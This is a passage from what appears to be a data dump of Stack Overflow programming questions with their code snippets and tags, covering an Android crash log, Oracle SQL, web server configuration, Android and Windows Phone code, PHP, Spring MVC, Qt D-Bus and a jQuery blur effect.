n01-02 06:30:48.732: INFO/DEBUG(13939): 400ed91c e1a01005 e1a02006 e3a03000
e1550000 ..... ...0....U.\n01-02 06:30:48.732: INFO/DEBUG(13939): memory map
around addr e8a4a3f4:\n01-02 06:30:48.732: INFO/DEBUG(13939): be952000-be973000
[stack]\n01-02 06:30:48.732: INFO/DEBUG(13939): (no map for address)\n01-02
06:30:48.732: INFO/DEBUG(13939): ffff0000-ffff1000 [vectors]\n01-02 06:30:48.732:
INFO/DEBUG(13939): stack:\n01-02 06:30:48.732: INFO/DEBUG(13939): 5b443b50
00c8fb10 [heap]\n01-02 06:30:48.732: INFO/DEBUG(13939): 5b443b54 40124b78 \
n01-02 06:30:48.732: INFO/DEBUG(13939): 5b443b58 00000020 \n01-02
06:30:48.732: INFO/DEBUG(13939): 5b443b5c 40124b34 \n01-02 06:30:48.732:
INFO/DEBUG(13939): 5b443b60 00c8fb18 [heap]\n01-02 06:30:48.732:
INFO/DEBUG(13939): 5b443b64 50ba1f64 \n01-02 06:30:48.732: INFO/DEBUG(13939):
5b443b68 00b9b170 [heap]\n01-02 06:30:48.739: INFO/DEBUG(13939): 5b443b6c
40124b90 \n01-02 06:30:48.739: INFO/DEBUG(13939): 5b443b70 00000000 \n01-02
06:30:48.739: INFO/DEBUG(13939): 5b443b74 00b87a08 [heap]\n01-02
06:30:48.739: INFO/DEBUG(13939): 5b443b78 00000000 \n01-02 06:30:48.739:
INFO/DEBUG(13939): 5b443b7c 50ba1f6c \n01-02 06:30:48.739: INFO/DEBUG(13939):
5b443b80 00b81a40 [heap]\n01-02 06:30:48.739: INFO/DEBUG(13939): 5b443b84
50ba1f64 \n01-02 06:30:48.739: INFO/DEBUG(13939): 5b443b88 df0027ad \n01-02
06:30:48.739: INFO/DEBUG(13939): 5b443b8c 00000000 \n01-02 06:30:48.739:
INFO/DEBUG(13939): #00 5b443b90 00000000 \n01-02 06:30:48.739: INFO/DEBUG(13939):
5b443b94 00b87a08 [heap]\n01-02 06:30:48.739: INFO/DEBUG(13939): 5b443b98
00000000 \n01-02 06:30:48.739: INFO/DEBUG(13939): 5b443b9c 50ba1f6c \n01-02
06:30:48.739: INFO/DEBUG(13939): 5b443ba0 5b443bf0 \n01-02 06:30:48.739:
INFO/DEBUG(13939): 5b443ba4 50ba1f64 \n01-02 06:30:48.739: INFO/DEBUG(13939):
5b443ba8 00000008 \n01-02 06:30:48.739: INFO/DEBUG(13939): 5b443bac 400f179b
/system/lib/libc.so\n01-02 06:30:48.739: INFO/DEBUG(13939): #01 5b443bb0 00000000
\n01-02 06:30:48.739: INFO/DEBUG(13939): 5b443bb4 404d9cf3
/system/lib/libicuuc.so\n01-02 06:30:49.958: DEBUG/OEM_RIL(486): <<< [UNSL] Unknown
ID: -4\n01-02
06:30:51.107: INFO/BootReceiver(291): Copying /data/tombstones/tombstone_05 to
DropBox (SYSTEM_TOMBSTONE)\n01-02 06:30:51.169: WARN/Process(291): Unable to
open /proc/14632/status\n01-02 06:30:51.169: WARN/Process(291): Unable to open
/proc/14632/status\n01-02 06:30:51.169: WARN/Process(291): Unable to open
/proc/14632/status\n01-02 06:30:51.169: INFO/ActivityManager(291):
handleAppDiedLocked, call sendFinishPackageName. Exception/true\n01-02
06:30:51.169: INFO/ActivityManager(291): Process in.co.my.android.camera (pid
14632) has died.\n01-02 06:30:51.169: WARN/ActivityManager(291): Force removing
ActivityRecord{41c69028 in.co.my.android.camera/.stillimagecamera.Camera}: app
died, no saved state\n01-02 06:30:51.177: WARN/Process(291): Unable to open
/proc/14632/status\n01-02 06:30:51.177: WARN/Process(291): Unable to open
/proc/14632/status\n01-02 06:30:51.177: WARN/Process(291): Unable to open
/proc/14632/status\n01-02 06:30:51.177: WARN/Process(291): Unable to open
/proc/14632/status\n01-02 06:30:51.177: WARN/Process(291): Unable to open
/proc/14632/status\n01-02 06:30:51.185: INFO/ActivityManager(291):
app/in.co.my.android.home[RESUMED] app.idle/true ...resumeTopActivityLocked\n01-02
06:30:51.294: INFO/Launcher(788): onResume() serviceIf == null\n01-02 06:30:51.294:
WARN/ActivityManager(291): Unable to start service Intent
{ act=in.co.my.android.home.IInfosignAidlService typ=application/vnd.my.mail }: not
found\n01-02 06:30:51.302: WARN/InputManagerService(291): Window already focused,
ignoring focus gain of:
com.android.internal.view.IInputMethodClient$Stub$Proxy@41c659e0\n01-02
06:30:51.552: INFO/ActivityManager(291): removeActivityFromHistoryLocked, call
sendFinishPackageName.\n", "android camera heap-memory"], "2780245": ["Update a
timestamp column", "I need to all of timestamps in a column the same amount.\nI
want to write an sql statement like:\nupdate sometable set timecol = timecol + <4
months>;\n", "", "sql oracle"], "5020960": ["Hosts file entries for multiple
domains on VPS?", "mydomain is the main domain (in Plesk, Media Temple MT VPS), and
under that are several Wordpress sites, like mysite1.com, mysite2.com, etc.\
nProblem is that I get lots of these errors in httpd's error_log:\n\nwp-cron.php
does exist at the html root in all the Wordpress installs.\nI've found hints
elsewhere that these errors may have something to do with my /etc/hosts file. This
is the hosts file:\n\nQuestion: do I need to add mysite1.com, mysite2.com, etc., to
the hosts file so they resolve and can find the wp-cron.php file?\nEdit: found the
answer after much Googling. Seems that there are two issues: the hosts file and the
fact that MT VPS overwrite the hosts file on each reboot. So the hosts file should
look like this for multiple domains on one server:\n\nAnd those lines must have a
few blank lines above the in the hosts file, or they will get overwritten each
reboot. See http://bradt.ca/archives/fix-wordpress-missed-schedule-error-on-media-
temple-dv-plesk/\n", "[error] [client 127.0.0.1] script '/var/www/html/wp-cron.php'
not found or unable to stat", "wordpress httpd localhost hosts-file"], "2789551":
["How to access my local host server from internet", "How to access my local host
server from internet\nhave installed WAMP server on my Windows XP, And i had
created a index.php file in my root folder, and i assigned a virtual name to my
localhost.\neg: earlier i accessed my index.php via:\nCode:\nhttp:// localhost/
index.php\nbut now i can access like :\nCode:\nhttp: //www. mysite. com/index.php\
nbut the problem is that i can access this from my computer only..\nhow can i use
it from internet.. please help me....\nThanks. \n", "", "home-server port-
forwarding wamp dyndns"], "2202638": ["jquery sortable border collapse chrome
safari", "I'm using jQuery on a table with . Something strange happens with the
spacing between the rows in Chrome and Safari. It seems ok in IE, FF, & Opera. \
nHere is an example: http://jsfiddle.net/benstenson/LMqNH/ \n\n is one option. \
nCalling on the sortable() stop event is another option.\n\nAnyone know what the
problem is? \nHere is a screenshot after moving the rows around. \n\n",
"sortable()", "jquery jquery-ui webkit sortable jquery-ui-sortable"], "5224878":
["Using a service and broadcast receiver \"economically\" right in Android", "I
have made an app to detect which wifi i am connected to and based on that change
the sound mode between silent and not silent. I wonder, though, weather the way i
am doing it is reasonable. \nI have made it as a service, since i want it to check
all the time. Inside the Service i register a broadcast receiver in the
onStartCommand()-method and unregister it at onDestroy(). It is not bound. The
broadcast receiver listens for change in connection. \nMy real question is wether
this is a \"economically\" good way to do this? Or do i use all the battery/memory
when the service is running?\nMy (relevant) source code for the Service:\n\n",
"import java.util.ArrayList;\nimport java.util.List;\n\nimport
android.app.Notification;\nimport android.app.NotificationManager;\nimport
android.app.PendingIntent;\nimport android.app.Service;\nimport
android.content.BroadcastReceiver;\nimport android.content.Context;\nimport
android.content.Intent;\nimport android.content.IntentFilter;\nimport
android.content.SharedPreferences;\nimport
android.content.SharedPreferences.OnSharedPreferenceChangeListener;\nimport
android.media.AudioManager;\nimport android.net.ConnectivityManager;\nimport
android.net.NetworkInfo;\nimport android.net.wifi.WifiManager;\nimport
android.os.IBinder;\nimport android.os.Vibrator;\nimport android.util.Log;\nimport
android.widget.Toast;\n\npublic class CheckService extends Service {\n\npublic
static final String MY_SETTINGS = \"MySettings\";\nprivate ConnectivityReceiver
receiver = null;\npublic static boolean isRunning = false;\nprivate WifiManager
wifi;\nprivate AudioManager audio_mngr;\nprivate SharedPreferences settings;\
nprivate List<Network> networks;\nprivate String SSID;\n\n\n@Override\npublic
IBinder onBind(Intent arg0) {\n // TODO Auto-generated method stub\n return
null;\n}\n\n@Override\npublic void onCreate() {\n // TODO Auto-generated method
stub\n super.onCreate();\n receiver = new ConnectivityReceiver();\n wifi =
(WifiManager)getSystemService(Context.WIFI_SERVICE);\n audio_mngr =
(AudioManager) getBaseContext().getSystemService(Context.AUDIO_SERVICE);\n
settings = getSharedPreferences(MY_SETTINGS, 0);\n networks = getAllNetworks();\
n settings.registerOnSharedPreferenceChangeListener(new
OnSharedPreferenceChangeListener(){\n\n public void
onSharedPreferenceChanged(\n SharedPreferences sharedPreferences,
String key) {\n networks = getAllNetworks();\n }\n });\n}\n\
n@Override\npublic int onStartCommand(Intent intent, int flags, int startId) \n{\n
super.onStartCommand(intent, flags, startId);\n registerReceiver(receiver,new
IntentFilter(ConnectivityManager.CONNECTIVITY_ACTION));\n isRunning = true;\n
return START_STICKY;\n}\n\n@Override\npublic void onDestroy() \n{\n
super.onDestroy();\n\n //Stop the Background thread\n isRunning = false;\n
unregisterReceiver(receiver);\n\n //Announcement about stopping\n
Toast.makeText(this, \"Stopping the Demo Service\", Toast.LENGTH_SHORT).show();\n}\
n\npublic List<Network> getAllNetworks() {\n List<Network> temp = new
ArrayList<Network>();\n String[] data =
settings.getString(\"networks\", \"\").split(\",\");\n if(data.length>1)\n {\
n for(int i=1; i<data.length-1; i+=2)\n {\n temp.add(new
Network(data[i],data[i+1]));\n }\n }\n return temp;\n}\n\nprivate
class ConnectivityReceiver extends BroadcastReceiver{\n\n @Override\n public
void onReceive(Context context, Intent intent) {\n NetworkInfo info =
intent.getParcelableExtra(ConnectivityManager.EXTRA_NETWORK_INFO);\n if(null
!= info)\n {\n if(info.getState()==NetworkInfo.State.CONNECTED)\n
{\n SSID = wifi.getConnectionInfo().getSSID();\n
for(Network n : networks)\n {\n
if(n.getSSID().equals(SSID))\n {\n
if(n.isQuiet()) setQuiet();\n else setLoud();\n
break;\n }\n }\n }\n }\n }\
n}\n\nprivate void setQuiet()\n{\n Vibrator v = (Vibrator)
getSystemService(Context.VIBRATOR_SERVICE);\n
audio_mngr .setRingerMode(AudioManager.RINGER_MODE_VIBRATE);\n
v.vibrate(300);\n makeNotification(SSID,\"Vibrate mode
on!\",R.drawable.sound_off);\n}\n\nprivate void setLoud()\n{\n Vibrator v =
(Vibrator) getSystemService(Context.VIBRATOR_SERVICE);\n
audio_mngr .setRingerMode(AudioManager.RINGER_MODE_NORMAL);\n
v.vibrate(300);\n makeNotification(SSID,\"Normal mode on!\",
R.drawable.sound_on);\n}\n\nprivate void makeNotification(String network, String
loudness, int icon)\n{\n NotificationManager notificationManager =
(NotificationManager) \n getSystemService(NOTIFICATION_SERVICE);\n\n
CharSequence tickerText = \"Mode has been changed!\";\n long when =
System.currentTimeMillis();\n\n final Notification notification = new
Notification(icon, tickerText, when);\n\n Context context =
getApplicationContext();\n CharSequence contentTitle = network;\n
CharSequence contentText = loudness;\n Intent notificationIntent = new
Intent(this, CheckService.class);\n PendingIntent contentIntent =
PendingIntent.getActivity(this, 0, notificationIntent, 0);\n\n
notification.setLatestEventInfo(context, contentTitle, contentText,
contentIntent);\n\n final int HELLO_ID = 1;\n\n notification.flags
|= Notification.FLAG_AUTO_CANCEL;\n notificationManager.notify(HELLO_ID,
notification);\n\n}\n}\n", "android service broadcastreceiver"], "3914514": ["In
EC2, how do I do a traditional redirect?", "When users hit mydomain.com, I want
them to redirect to another page.\nI know I can do this through:\n\nmy name
registrar\nmy DNS servers\n\nBut I would like to do it through EC2. How can I set
it up?\n", "", "dns amazon-ec2 domain redirect url"], "3525336": ["How to make a
POST request to the Windows phone 7?", "How to send data to authenticate to the
server? Using the current code:\n\nAfter this code, if a program-sniffer
(HttpAnalyzer) look at Headers and Response Content, in Response Content will be
written: , and Response Headers will be empty ...\nHow to make a Post request?\n",
"WebClient MyWebClient = new WebClient();\n MyWebClient.OpenWriteCompleted
+= new OpenWriteCompletedEventHandler(MyWebClient_OpenWriteCompleted);\n
MyWebClient.Headers[\"User-Agent\"] = \"Mozilla/4.0 (compatible; ICS)\";\n
MyWebClient.OpenWriteAsync(new
Uri(\"http://myserver.com/login\"), \"POST\", \"[email protected]&pass=mypas
sword\");\n\n\n void MyWebClient_OpenWriteCompleted(object sender,
OpenWriteCompletedEventArgs e)\n {\n throw new
NotImplementedException();\n }\n", "c# windows-phone-7 httpwebrequest http-
post"], "72147": ["Can't dismiss keyboard", "I can't figure out how to dissmis
keyboard when Done or something outside textfield is touched. Here is what I try\
nmyController.h\n\nmyController.m\n\n", "@interface myController : UIViewController
<UITextFieldDelegate>{\n secondViewController *secondView;\n}\n", "objective-c
ios uitextfield"], "3969637": ["Aptana Studio 3 - code coloring like in
Dreamweaver", "I'm trying to use Aptana Studio 3 instead of phpEd. But I'd like to
have the code coloring like in Dreamweaver. I made these changes in phpEd, but I
can't find where to change it in Aptana.\nAlso, I installed the jquery bundle, but
I can't to get it working...\nThanks for your help.\n", "", "aptana"], "5999662":
["Oracle db vm on compressed drive?", "With Oracle 11g is there a concern of
storing the db on a compressed windows drive? The machine is a virtual machine
running windows 2008 on esxi. There is plenty of processing power, but disk access
is slow over iscsi.\n", "", "windows oracle compression virtualization"],
"4428363": ["How can I get an ordered list of middleware in use in a generic rack
application?", "The functionality I am looking for is similar to the command in
Rails, except for a generic rack application.\n", "rake middleware", "ruby rake
rack middleware"], "4095625": ["Permission errors when trying to checkout a
subversion repo on a CIFS share", "Greetings,\nI have a CIFS share mounted on my
Linux machine (Fedora 11). This share contains a Subversion working copy that I
work with locally on the remote machine. The remote machine is a Linux box running
Samba.\nI now want to work with the repository on my machine, so I don't have to
login to the remote machine to do checkins and updates. However, seems to run into
permissions problems when trying to perform file operations on the share.\ne.g. (on
my machine)\n\nHowever, when I try to edit the same file on the command line (e.g.
with ) it works fine, and I seem to have full read/write permissions to that file.\
nI also tried doing a new checkout on my machine on the share:\n\nBut I can do it
manually:\n\n...and it works.\nI mount the share like this:\n\nSo I am the owner of
all the files on the mounted share.\nFor the time being, I can continue using
subversion on the remote system, which continues to work fine. But I'd like to get
this working. I appreciate any ideas you may have.\nThanks\nEdit\nThanks to
JohnnyLambada for the suggestion to use . Here is the relevant bit of the output
for attempting a subversion checkout:\n\nIt's still confusing, as I can create the
directories (with the same modes) on the commandline.\nI did notice, however, that
using to create a temp file causes an error:\n\nAlthough it wasn't able to reset
the timestamp, it did create the file.\n", "svn", "linux permissions svn samba"],
"283492": ["Using PHP's ternary operator with only two arguments", "I was recently
reviewing some of my code and noticed that in a fit of absent-mindedness, I'd left
a structure like the following:\n\nNow, this wasn't doing what it's supposed to and
is wrong, but since that property is always set now it was working fine, and
there's no syntax error since 5.3 because of the following change:\n\nSince PHP
5.3, it is possible to leave out the middle part of the ternary operator.
Expression expr1 ?: expr3 returns expr1 if expr1 evaluates to TRUE, and expr3
otherwise.\n\nI wasn't aware of this change, and now I'm curious if I should be
using it or not. This is something I was sorely missing from languages like ruby
where you can do eg, to get either or rather than a 'real' boolean. However, the
syntax they've chosen for the ternary operator seems a little counter intuitive to
me. Should I be using this in production code? It definitely threw myself when I
saw it by accident.\n", "$guid = empty($subscription->guid) ? : $subscription-
>guid;\n", "php comparison operators"], "3976594": ["Tabu search example question",
"Could you please help me understand this Tabu search page 7 example:\n\nTS is a
mathematical optimization method,\n belonging to the class of trajectory\n based
techniques. Tabu search enhances\n the performance of a local search\n method by
using memory structures that\n describe the visited solutions: once a\n potential
solution has been\n determined, it is marked as \"taboo\"\n (\"tabu\" being a
different spelling of\n the same word) so that the algorithm\n does not visit
that possibility\n repeatedly. Tabu search is attributed\n to Fred W. Glover\n\n\
n\n\n\n\n\n\nI do not understand why an upper triangle is used, and why is this :\
n\nThe tabu structure now shows that\n swapping the positions of modules 4\n and
5 is forbidden for 3 iterations.\n The most improving move at this step\n is to
swap 3 and 1 for a gain of 2.\n\nCould you please explain why the triangle and why
is it the above statement?\n???\n", "", "algorithm optimization tabu-search"],
"3636903": ["RewriteCond to skip actual directories seems to be ignored", "My
problem is that The is still matching when I visit a physical directory, e.g.
where is a normal directory in the web root.\nthe file has:\n\nIt works fine on
my dev server but not on a live WHM/CPanel server. I'm a bit lost.\n",
"RewriteRule", ".htaccess mod-rewrite apache2 cpanel whm"], "3980043": ["Fire and
Forget (Asynch) ASP.NET Method Call", "We have a service to update customer
information to server. One service call takes around few seconds, which is normal.\
nNow we have a new page where at one instance around 35-50 Costumers information
can be updated. Changing service interface to accept all customers together is out
of question at this point.\nI need to call a method (say \"ProcessCustomerInfo\"),
which will loop through customers information and call web service 35-50 times.
Calling service asynchronously is not of much use. \nI need to call the
method \"ProcessCustomerInfo\" asynchronously. I am trying to use RegisterAsyncTask
for this. There are various examples available on web, but the problem is after
initiating this call if I move away from this page, the processing stops. \nIs it
possible to implement Fire and Forget method call so that user can move away
(Redirect to another page) from the page without stopping method processing?\n",
"", "c# asp.net asynchronous"], "616471": ["Exception during processing of event of
type AFTER_FILTER_EVENT", "I've googled this so many times now, without any luck.
Hope you are able to help me.\nI have a web project that uses JSF Mojarra 2.1,
Primefaces 3.1. The project uses Spring Security for handling authentication.\nThe
project is running on Glassfish 3.1.1, so I'm using the JSF version provided.\nThe
problem is that after I logon, I get the following Exception when the main.xhtml
page should be rendered.\n\nCaused by:
org.glassfish.api.invocation.InvocationException\n at
org.glassfish.api.invocation.InvocationManagerImpl.postInvoke(InvocationManagerImpl
.java:190)\n at
com.sun.web.server.J2EEInstanceListener.handleAfterEvent(J2EEInstanceListener.java:
339)\n ... 28 more\nOn the login-page:\n\nThe LoginBean:\n\nMy web.xml:\n\n",
"java.lang.RuntimeException: WEB5001: Exception during processing of event of type
AFTER_FILTER_EVENT for web module StandardEngine[glassfish-
web].StandardHost[server].StandardContext[/sormAdmin2]\nat
com.sun.web.server.J2EEInstanceListener.handleAfterEvent(J2EEInstanceListener.java:
344)\nat
com.sun.web.server.J2EEInstanceListener.instanceEvent(J2EEInstanceListener.java:112
)\nat
org.apache.catalina.util.InstanceSupport.fireInstanceEvent(InstanceSupport.java:314
)\nat
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterC
hain.java:273)\nat
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.jav
a:217)\nat
org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:279)
\nat
org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175)
\nat org.apache.catalina.core.StandardPipeline.doInvoke(StandardPipeline.java:655)\
nat org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:595)\nat
com.sun.enterprise.web.WebPipeline.invoke(WebPipeline.java:98)\nat
com.sun.enterprise.web.PESessionLockingStandardPipeline.invoke(PESessionLockingStan
dardPipeline.java:91)\nat
org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:162)\nat
org.apache.catalina.connector.CoyoteAdapter.doService(CoyoteAdapter.java:330)\nat
org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:231)\nat

com.sun.enterprise.v3.services.impl.ContainerMapper.service(ContainerMapper.java:17
4)\nat com.sun.grizzly.http.ProcessorTask.invokeAdapter(ProcessorTask.java:828)\nat
com.sun.grizzly.http.ProcessorTask.doProcess(ProcessorTask.java:725)\nat
com.sun.grizzly.http.ProcessorTask.process(ProcessorTask.java:1019)\nat
com.sun.grizzly.http.DefaultProtocolFilter.execute(DefaultProtocolFilter.java:225)\
nat
com.sun.grizzly.DefaultProtocolChain.executeProtocolFilter(DefaultProtocolChain.jav
a:137)\nat
com.sun.grizzly.DefaultProtocolChain.execute(DefaultProtocolChain.java:104)\nat
com.sun.grizzly.DefaultProtocolChain.execute(DefaultProtocolChain.java:90)\nat
com.sun.grizzly.http.HttpProtocolChain.execute(HttpProtocolChain.java:79)\nat
com.sun.grizzly.ProtocolChainContextTask.doCall(ProtocolChainContextTask.java:54)\
nat com.sun.grizzly.SelectionKeyContextTask.call(SelectionKeyContextTask.java:59)\
nat com.sun.grizzly.ContextTask.run(ContextTask.java:71)\nat
com.sun.grizzly.util.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:532)\
nat
com.sun.grizzly.util.AbstractThreadPool$Worker.run(AbstractThreadPool.java:513)\nat
java.lang.Thread.run(Thread.java:662)\n", "java exception jsf-2 spring-security"],
"4943693": ["What is it that makes methods such as Select, Join, Where a Linq-to-
Object's standard query operators and not...?", "1) Internally, what is it that
makes methods such , , etc ( besides the fact that query expressions get
translated by compiler into these method calls ) a Linq-to-Object's standard query
operators and not just regular methods that happen to operate on sequences of data?
\nNamelly, all the functionality offered by those operators could also be
implemented in regular methods, but we don't call those regular methods standard
query operators?!\n2) Same question for Linq-to-XML methods \u2013 thus, what makes
them query operators and not just regular methods that operate on XML data? \nThank
you\n", "Select", "linq linq-to-objects"], "1826822": ["c# hex string to byte image
and filtering", "I need some help in converting a hex string into an image \ndoing
some researches i came up to this code: \n\nThe problem is that the resulting
image is almost all black and i guess i need to apply some filters to better
translate the gray-scale (since the original image is in gray-scale only) \nCan
anyone help me? \nMany thanks\n", "private byte[] HexString2Bytes(string
hexString)\n{\n int bytesCount = (hexString.Length) / 2;\n byte[] bytes = new
byte[bytesCount];\n for (int x = 0; x < bytesCount; ++x)\n {\n
bytes[x] = Convert.ToByte(hexString.Substring(x*2, 2),16);\n }\n\n return
bytes;\n}\n\n\npublic bool ByteArrayToFile(string _FileName, byte[] _ByteArray)\n{\
n try\n {\n System.IO.FileStream _FileStream = new
System.IO.FileStream(_FileName, System.IO.FileMode.Create,
System.IO.FileAccess.Write);\n _FileStream.Write(_ByteArray, 0,
_ByteArray.Length);\n _FileStream.Close();\n return true;\n
}\n catch (Exception _Exception)\n {\n
MessageBox.Show(_Exception.Message);\n }\n\n return false;\n }\n", "c#
image filtering"], "4091296": ["Does Sharepoint 2010 search webpart support danish
character?", "I am using search webpart (SP 2010). This webpart displayes title and
other information. My title contains some danish character, but when I enter \u00d8
or \u00c5 i get ? .\n", "", "web-part sharepoint-foundation search search-results
fast-search"], "4913879": ["How to connect to a Qt dbus signal for an unknown
service name?", "The dbus notifier that comes with the cups printer daemon does not
register a well-known service name on the system bus and provides no interface.
When events, occur, they come from a well-known path and interface, but the service
name is always auto-assigned. How do I connect to one of these signals? Is there a
way to say \"match any service name?\"\n\nHere's an example of a signal sent
(from ):\n\nAnd after writing this up and getting this far, I noticed that the path
and interface emitted do not match the documentation. Changing to and seems to
fix the problem. And after further investigation, even the interface signals they
document are wrong.\nSo, I think the answer may be: just use an empty service name
to receive signals from an unknown service name.\n", "QString service = \"\"; //
doesn't work\n// QString service = \"org.cups.cupsd.Notifier\"; // doesn't work\
nQDBusConnection::systemBus().connect(service,\n
\"/org/cups/cupsd/Notifier\",\n \"org.cups.cupsd.Notifier\",\n
\"PrinterAdded\",\n this,\n
SLOT(PrinterAdded(QString,QString,QString,uint,QString,bool)));\n", "qt signals
signals-slots dbus"], "922608": ["Caption for TTabControl", "I'm looking for a way
of implementing a sort of inset caption before a set of tabs, something like this:\
n\nThe tab set is not supposed to be multi-line, will only be horizontal and laid
out at the top. However it should be correctly scrollable when there are too many
tabs.\nI fear I'm going to be restricted here with regard to using third-party
controls, but I could use subclassing on the standard TTabControl to add the
necessary changes to the standard looks and behaviour. (I don't need it to be
TPageControl, because it's only the specific arrangement of the tabs that I am
interested in.)\nMaybe there's some way of implementing this with craftily arranged
combination of standard controls, which, despite my endevours, has escaped me.\
nBasically, any ideas or pointers are welcome.\nOh, and additional requirement is,
it should blend well with desktop themes.\n", "", "delphi delphi-2010 tabcontrol
customization caption"], "4172838": ["Determining timeout reason", "What is the
best way to determine what causes a server timeout on a Plesk passworded directory
in IIS6? Even if the default page is static text I can get a timeout. \nThis has
worked fine for two years and has only seemed to change after adding a new
permitted user.\nOccasionally there is success but usually loading is very slow.
Where would I look for a problem, as it doesn't seem to be page content causing the
issue?\n", "", "permissions user-management plesk timeout"], "2165951": ["Spring
MVC 3.1 without annotations?", "I'm starting a new project with Spring 3.1, and
have been eyeball deep in all the documentation and forum opinions about how to use
the @Controller annotation.\nI personally dislike using annotations for MVC; I much
prefer having all the URLs of a webapp available in one place, using
SimpleUrlHandlerMapping.\nAlso, from much previous work using Spring 2.x, I'm very
used to the BaseCommandController heirarchy.\nI've always loved Spring because it's
empowering without being restricting. Now I find Spring MVC is forcing me to put
URLs into the java source, meaning (a) I can't map a controller to several URLs,
and (b) to discover what URLs are in use in a webapp, I have to scan through
different java source files, which I find impractical.\nWhat is the recommended way
of combining @Controller with SimpleUrlHandlerMapping, please ?\n\nUpdate:\nHi
Dave, are you saying you can map multiple URLs like this (altered from
petclini.web.ClinicController)?\n\nIf this works then good.\nMy question still
stands though:\nIf I don't want URLs in my java source, how best to map them with
@Controller classes?\nRegards,\n", "@RequestMapping({\"/vets\", \"/another\"})\
npublic ModelMap vetsHandler() {\n", "spring spring-mvc annotations spring-
annotations"], "2416959": ["iPhone: UISwitch text in non-English language is I/O
instead of ON/OFF in some languages", "UISwitch text shows ON/OFF in English. When
I switch language to Japanese, UISwitch shows localized version for ON/OFF text.
But, when I switch language to German, UISwitch shows I/O symbols instead of
German-localized ON/OFF text. Why is not the behavior consistent across all non-
English languages? Is this a bug?\nPlease let me know if you have any info on
this. Thanks.\n", "", "iphone uiswitch"], "1261341": ["jQuery background blur
transition breaks on window resize", "I have used the following for a background
blur transition effect:\nhttp://tympanus.net/codrops/2011/11/18/fullscreen-image-
blur-effect-with-html5/\nThe example can be found
at:\nhttp://tympanus.net/Development/FullscreenImageBlurEffect/index3.html\nThe
script below uses 'StackBlur' to add the blur effect to a canvas.\n\nThe problem is
that when I resize the browser window the transition breaks down and no longer
gives the desired effect.\nFrom what I can see the problem seems to be with the
sizing of the canvas.\nCould anyone give me an idea of how to fix it?\nMany
Thanks.\n", "$(function() {\n\n var BlurBGImage = (function() {\n\n
var $bxWrapper = $('#bx-wrapper'),\n // loading status
to show while preloading images\n $bxLoading =
$bxWrapper.find('div.bx-loading'),\n // container for the bg
images and respective canvas\n $bxContainer =
$bxWrapper.find('div.bx-container'),\n // the bg images we are
gonna use\n $bxImgs = $bxContainer.children('img'),\
n // total number of bg images\n bxImgsCount
= $bxImgs.length,\n // current image's index\n
current = 0,\n // variation to show the image:\n
// (1) - blurs the current one, fades out and shows the next image\n
// (2) - blurs the current one, fades out, shows the next one (but initially
blurred)\n // speed is the speed of the animation\n
// blur Factor is the factor used in the StackBlur script\n
animOptions = { speed : 700, variation : 2,
blurFactor : 10 },\n // control if currently animating\n
isAnim = false,\n // check if canvas is supported\n
supportCanvas = Modernizr.canvas,\n // slideshow\n
slideshow_interval = 6000,\n slideshow_time,\n\n
// init function\n init = function() {\n\n
// preload all images and respective canvas\n var loaded =
0;\n\n $bxImgs.each( function(i) {\n\n
var $bximg = $(this);\n\n // save the position of the
image in data-pos\n $('<img data-pos=\"' +
$bximg.index() + '\"/>').load(function() {\n\n var
$img = $(this),\n // size of image to be
fullscreen and centered\n dim = getImageDim(
$img.attr('src') ),\n pos = $img.data( 'pos'
);\n\n // add the canvas to the DOM\n
$.when( createCanvas( pos, dim ) ).done( function() {\n\n
++loaded;\n\n // all images and canvas loaded\n
if( loaded === bxImgsCount ) {\n\n // apply
style for bg image and canvas\n
centerImageCanvas();\n\n // hide loading
status\n $bxLoading.hide();\n\n
// initialize events\n initEvents();\n\n
// start slideshow\n startSlideshow();\n\n
}\n\n });\n\
n }).attr( 'src', $bximg.attr('src') );\n\n
});\n\n },\n startSlideshow = function()
{\n\n slideshow_time = setTimeout( function() {\n\n
if( !isAnim ) {\n\n var pos = current;\n
( pos < bxImgsCount - 1 ) ? ++pos : pos = 0;\n
isAnim = true;\n // show the bg image\n
showImage( pos );\n startSlideshow();\n\n
}\n\n }, slideshow_interval );\n\n },\n
// creates the blurred canvas image\n createCanvas =
function( pos, dim ) {\n\n return $.Deferred( function(dfd)
{\n\n // if canvas not supported return\n
if( !supportCanvas ) {\n dfd.resolve();\n
return false;\n } \n\n //
create the canvas element:\n // size and position will
be the same like the fullscreen image\n var $img =
$bxImgs.eq( pos ),\n imgW = dim.width,\n
imgH = dim.height,\n imgL = dim.left,\n
imgT = dim.top,\n\n canvas =
document.createElement('canvas');\n\n canvas.className
= 'bx-canvas';\n canvas.width = imgW;\n
canvas.height = imgH;\n canvas.style.width
= imgW + 'px';\n canvas.style.height = imgH + 'px';\
n canvas.style.left = imgL + 'px';\n
canvas.style.top = imgT + 'px';\n
canvas.style.visibility = 'hidden';\n // save position
of canvas to know which image this is linked to\n
canvas.setAttribute('data-pos', pos);\n // append the
canvas to the same container where the images are\n
$bxContainer.append( canvas );\n // blur it using the
StackBlur script\n stackBlurImage( $img.get(0), dim,
canvas, animOptions.blurFactor, false, dfd.resolve );\n\
n }).promise();\n\n },\n
// gets the image size and position in order to make it fullscreen and centered.\n
getImageDim = function( img ) {\n\n var $img =
new Image();\n\n $img.src = img;\n\n
var $win = $( window ),\n w_w = $win.width(),\n
w_h = $win.height(),\n r_w = w_h / w_w,\n
i_w = $img.width,\n i_h = $img.height,\n
r_i = i_h / i_w,\n new_w, new_h, new_left, new_top;\
n\n if( r_w > r_i ) {\n\n new_h
= w_h;\n new_w = w_h / r_i;\n\n
}\n else {\n\n new_h = w_w *
r_i;\n new_w = w_w;\n\n }\n\n
return {\n width : new_w,\n
height : new_h,\n left : ( w_w - new_w ) / 2,\n
top : ( w_h - new_h ) / 2\n };\n\
n },\n // initialize the events\n
initEvents = function() {\n\n $
( window ).on('resize.BlurBGImage', function( event ) {\n\n
// apply style for bg image and canvas\n
